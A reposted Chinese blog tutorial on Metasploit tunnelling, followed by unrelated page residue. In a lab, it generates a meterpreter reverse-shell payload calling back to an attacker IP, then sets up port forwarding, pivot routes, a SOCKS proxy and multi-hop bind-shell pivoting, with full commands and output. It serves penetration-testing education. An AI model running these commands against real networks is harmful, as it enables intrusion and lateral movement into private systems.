前言

Metasploit是一个免费的、可下载的***测试框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施***测试。它本身附带数百个已知软件漏洞的专业级漏洞***测试工具。

当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为***,每个人都可以使用***工具来测试那些未打过补丁或者刚刚打过补丁的漏洞。

正是因为Metasploit团队一直都在努力开发各种***测试工具,并将它们贡献给所有Metasploit用户,软件厂商再也不能推迟发布针对已公布漏洞的补丁了。

本文将科普下metasploit隧道代理的使用技巧。

0×00 获取meterpreter

1.首先生成可执行文件

root@kali:~# msfpayload windows/meterpreter/reverse_tcp  LHOST=192.168.101.105 LPORT=444 X > meter.exe
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcpLength: 281
Options: {"LHOST"=>"192.168.101.105", "LPORT"=>"444"}

2.启动msfconsole,监听反连端口

root@kali:~# msfconsole
[*] Starting the Metasploit Framework console.../
Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit=[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]
+ -- --=[ 1386 exploits - 863 auxiliary - 236 post        ]
+ -- --=[ 342 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 444
LPORT => 444
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name  Current Setting  Required  Description----  ---------------  --------  -----------
Payload options (windows/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)LHOST     0.0.0.0          yes       The listen addressLPORT     444              yes       The listen port
Exploit target:Id  Name--  ----0   Wildcard Target
msf exploit(handler) > run
[*] Started reverse handler on 0.0.0.0:444
[*] Starting the payload handler...

3.在xp-test1执行meter.exe,attacker获得 meterperter

msf exploit(handler) > run
[*] Started reverse handler on 0.0.0.0:444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.101.107
[*] Meterpreter session 1 opened (192.168.101.105:444 -> 192.168.101.107:48019) at 2015-01-11 12:49:11 +0800
meterpreter > ipconfig
Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1
Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - pencS
Hardware MAC : 00:0c:29:ed:cf:d0
MTU          : 1500
IPv4 Address : 10.1.1.128
IPv4 Netmask : 255.255.255.0

0×01 meterpreter基本隧道代理

好,现在已经有一个反弹回来的权限,下面介绍meterpreter隧道代理的几种方法

1.portfwd

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:

meterpreter > portfwd
0 total local port forwards.
meterpreter > portfwd  -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:-L <opt>  The local host to listen on (optional).-h        Help banner.-l <opt>  The local port to listen on.-p <opt>  The remote port to connect to.-r <opt>  The remote host to connect to.

使用实例介绍:

反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:

meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
meterpreter > portfwd
0: 0.0.0.0:2222 -> 10.1.1.129:3389
1 total local port forwards.

已经转发成功,下面来验证下:

root@kali:~# netstat -an | grep "2222"
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN

可以看到已经成功监听2222端口

接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口,如下:

root@kali:~# rdesktop 127.1.1.0:2222

可以看到,已经成功连接到10.1.1.129 的3389端口

2. pivot

pivot是meterpreter最常用的一种代理,可以轻松把你的机器代理到受害者内网环境,下面介绍下pivot的搭建和使用方法

使用方法route add   目标i或ip段     Netmask 要使用代理的会话,通过实例来说明:

在metasploit添加一个路由表,目的是访问10.1.1.129将通过meterpreter的会话 1 来访问:

msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1
[*] Route added
msf exploit(handler) > route print
Active Routing Table
====================Subnet             Netmask            Gateway------             -------            -------10.1.1.129         255.255.255.255    Session 1

这里如果要代理10.1.1.129/24 到session 1,则可以这么写

route add 10.1.1.0 255.255.255.0 1

到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe 模块,ssh模块等)将通过代理session 1这个会话来访问。

如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助 metasploit socks4a提供一个监听隧道供其他应用程序访问:

首先使用 socks4a并且配置,监听端口

msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):Name     Current Setting  Required  Description----     ---------------  --------  -----------SRVHOST  0.0.0.0          yes       The address to listen onSRVPORT  1080             yes       The port to listen on.
Auxiliary action:Name   Description----   -----------Proxy
msf auxiliary(socks4a) > exploit -y
[*] Auxiliary module execution completed
msf auxiliary(socks4a) >
[*] Starting the socks4a proxy server

查看监听端口

root@kali:~# netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN

端口已经监听,接着配置 proxychains

root@kali:~# vim /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwileroot@kali:~# netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN
# defaults set to "tor"
socks4  127.0.0.1 1080

配置好以后看看使用 proxychains进行代理访问,这里访问10.1.1.129 3389端口

可以看到已经成功访问

0×02  多级代理

1. 二级代理隧道

上面介绍了meterpreter基础的代理方法,但是有些实际环境不能直接使用,考虑如下环境(内网机器A、B。A机器可以对外连接,但是访问控制很严格,只能访问到很少的内网机器,B机器不能对外连接,但是可以访问到很多核心服务和机器,A、B之间可以互相访问),如果我们想通过B机器对核心服务和机器进行扫描和访问要怎么办呢?

这时候我们就meterpreter的pivot组合轻松实现二级代理就可以

效果示意图:attacker->xp-test1->xp-test2

首先接着上面,我们已经有一个xp-test1反弹回来的meterprter了,接着我们生成一个正向的执行文件

root@kali:~# msfpayload windows/meterpreter/bind_tcp  RHOST=0.0.0.0 RPORT=4444 X > Rmeter.exe
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcpLength: 285
Options: {"RHOST"=>"0.0.0.0", "RPORT"=>"4444"}

生成好以后在xp-test2上面运行

接着在msf里面添加路由

msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2
[*] Route added
msf exploit(handler) > route  print
Active Routing Table
====================Subnet             Netmask            Gateway------             -------            -------10.1.1.129         255.255.255.255    Session 2

连接正向 meterpreter获取权限

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows//bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.1.1.129
RHOST => 10.1.1.129
msf exploit(handler) > show options
Module options (exploit/multi/handler):Name  Current Setting  Required  Description----  ---------------  --------  -----------
Payload options (windows/meterpreter/bind_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)LPORT     444              yes       The listen portRHOST     10.1.1.129       no        The target address
Exploit target:Id  Name--  ----0   Wildcard Target
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > show options
Module options (exploit/multi/handler):Name  Current Setting  Required  Description----  ---------------  --------  -----------
Payload options (windows/meterpreter/bind_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)LPORT     4444             yes       The listen portRHOST     10.1.1.129       no        The target address
Exploit target:Id  Name--  ----0   Wildcard Target
msf exploit(handler) > run
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (770048 bytes)
[*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444) at 2015-01-11 13:34:37 +0800

现在已经获取到xp-test2的权限,注意这里是通过xp-test1 pivot代理

下面来验证下,查看xp-test2 4444端口

C:Documents and SettingsAdministrator>netstat -an | find "4444"TCP    10.1.1.129:4444        10.1.1.128:1051        ESTABLISHED

是通过xp-test1进行连接的。

这时候二级代理已经搭建好了,你可以添加需要访问的ip到路由表,通过第二层的session(session 3),就可以使用metaploit的其他模块访问或扫描了

2.三级或多级代理

有时候过于庞大或者复杂的内网环境,甚至需要三层或者多层代理,原理与两层相似,通过在第二层代理的基础上进行连接既可

示意图:attacket->xp-test1->xp-test2->xp-test3->…..

与两层代理类似,如下实现:

msf exploit(handler) > sessions -l
Active sessions
===============Id  Type                   Information                        Connection--  ----                   -----------                        ----------2   meterpreter x86/win32  XP-TEST1Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)4   meterpreter x86/win32  XP-TEST2Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)
msf exploit(handler) > route  add 10.1.1.131 4
[-] Missing arguments to route add.
msf exploit(handler) > route  add 10.1.1.131 255.255.255.255 4
[*] Route added
msf exploit(handler) > route print
Active Routing Table
====================Subnet             Netmask            Gateway------             -------            -------10.1.1.129         255.255.255.255    Session 210.1.1.131         255.255.255.255    Session 4
msf exploit(handler) > set RHOST=10.1.1.131
[-] Unknown variable
Usage: set [option] [value]
Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore
msf exploit(handler) > set RHOST 10.1.1.131
RHOST => 10.1.1.131
msf exploit(handler) > show options
Module options (exploit/multi/handler):Name  Current Setting  Required  Description----  ---------------  --------  -----------
Payload options (windows/meterpreter/bind_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)LPORT     4444             yes       The listen portRHOST     10.1.1.131       no        The target address
Exploit target:Id  Name--  ----0   Wildcard Target
msf exploit(handler) > run
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (770048 bytes)
[*] Meterpreter session 5 opened (192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800
meterpreter > background
[*] Backgrounding session 5...
msf exploit(handler) > sessions -l
Active sessions
===============Id  Type                   Information                        Connection--  ----                   -----------                        ----------2   meterpreter x86/win32  XP-TEST1Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)4   meterpreter x86/win32  XP-TEST2Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)5   meterpreter x86/win32  XP-TEST3Administrator @ XP-TEST3  192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131)
在xp-test3查看端口连接
C:Documents and SettingsAdministrator>netstat -an | find "4444"TCP    10.1.1.131:4444        10.1.1.129:1032        ESTABLISHED
在xp-test2查看4444端口
C:Documents and SettingsAdministrator>netstat -an | find "4444"TCP    10.1.1.129:1032        10.1.1.131:4444        ESTABLISHEDTCP    10.1.1.129:4444        10.1.1.128:1054        ESTABLISHED
说明已经实现三级连接,即attacker->xp-test1->xp-test2->xp-test3

0×03 总结

最后,代理级数越多,带宽损耗和稳定性就会下降。***过程中根据实际情况自由灵活的选择和使用代理方式才能实现事半工倍的效果。

转载于:https://blog.51cto.com/peilong0320/1607162

Metasploit***技巧:后***Meterpreter代理相关推荐

  1. Metasploit Shell升级Meterpreter会话技巧

    Metasploit Shell升级Meterpreter会话技巧 在Metasploit中,用户通过利用漏洞获取远程Shell和Meterpreter会话.如果用户已经获取到Shell会话,但是又希 ...

  2. Metasploit技巧命令支持tips

    Metasploit技巧命令支持tips 在Metasploit 5.0.80版本中,新增加了技巧命令tips,可以用来显示一些有用的技巧.大学霸IT达人如果想要查看所有的技巧列表,则执行命令为tip ...

  3. 用ESX进行虚拟化的技巧连载五:代理/防火墙服务虚拟化

    设置虚拟代理服务器 在安全领域,虚拟基础架构也可以为企业创造价值.例如,规模较小的公司往往认为无需投资购置专用的代理服务器.而通过代理服务器,可以实现显著的性能提升,带宽占用率通常可以降低 25% 乃 ...

  4. 添加https后反向代理gateway报错io.netty.handler.ssl.NotSslRecordException: not an SSL/TLS record

    添加https后反向代理gateway报错 2023-02-17 14:19:05.328 [reactor-http-epoll-4] ------ ERROR c..si.gateway.exce ...

  5. 关于minikube使用HTTP_PROXY拉取镜像后取消代理的操作过程记录

    vim ~/.bashrc中注释掉以后,必须得unset之后方可生效,不然还是走的代理.

  6. BurpSuite技巧之二重代理

    在日常的工作中,有时候需要隐藏自己的IP或XX(你懂得)拦截流量.这时候我们就需要使用二重代理,本文以常用得SSR为例(SSR默认本地端口为1080,不用修改.)进行二重代理. 一.配置一重代理 第一 ...

  7. 关于vue2用vue-cli搭建环境后域名代理的http-proxy-middleware解决api接口跨域问题

    在vue中用http-proxy-middleware来进行接口代理,比如:本地运行环境为http://localhost:8080但真实访问的api为 http://www.baidu.com这时我 ...

  8. CTO 说公司的 ES 性能不够好、集群不够稳定!直到我用了这些调优技巧后。。。...

    点击上方"芋道源码",选择"设为星标" 管她前浪,还是后浪? 能浪的浪,才是好浪! 每天 8:55 更新文章,每天掉亿点点头发... 源码精品专栏 原创 | J ...

  9. VUE项目打包后posy代理失效Nginx解决

    vue项目打包dist部署Nginx Vueproxy代理失效Nginx解决办法 vue.config.js devServer: {proxy: {"/oauth2": {tar ...

最新文章

  1. 若显示器接口电路中的刷新存储器容量为1MB,当采用800*600的分辨率模式时,每个像素最多可以有多少()种颜色
  2. Weblogic 9.2和10.3 改密码 一站完成
  3. 【原创】cs+html+js+css模式(五):页面调用JS的编写
  4. 开辟与退出一个新的栈帧常用的汇编语言指令
  5. AutoScan-收集监视及办理器械
  6. 浏览器登陆时纪录自动登陆时限
  7. nm命令中符号类型详解
  8. 产品经理必知必会的SQL
  9. 沈阳计算机考试都学什么,沈阳计算机考研考什么科目
  10. 2012微软校园招聘笔试题
  11. js 和 css动画
  12. 开启MyBatis(三)工作原理
  13. Linux命令学习教程【建议收藏】
  14. MAC出现:未能正确打开SANGFOR SSL Virtual网卡,暂时不能提供SSL CS服务,请联系管理员
  15. Google reCaptcha验证码无法显示解决方案
  16. STM32F103_study49_The punctual atoms(STM32 Bit operation and logical operation in C language )
  17. 华硕AC56(8812)Linux网卡驱动安装教程
  18. hive根据日期算哪一年的第几周(年周)以及算周几星期几
  19. 游戏服务器开发环境搭建
  20. 杭电 HDU ACM 圆桌会议

热门文章

  1. boost 线程、互斥体、条件变量
  2. 移动端 html2canvas 踩坑记录
  3. 自动换行的draw2d标签
  4. 使用阿里云的maven私服的setting.xml, 提高maven项目jar下载速度
  5. 熊猫直播Rancho发布系统构建之路
  6. KEIL5.11安装小结
  7. 来一次有侧重点的区分Swift与Objective-C
  8. [精华][推荐]CAS SSO单点登录服务端客户端学习
  9. 为什么plotly被称为“有史以来最牛逼”可视化神器?
  10. win7 win10 win8系统文件夹重命名要刷新下文件名才会改变,桌面也不会自动刷新...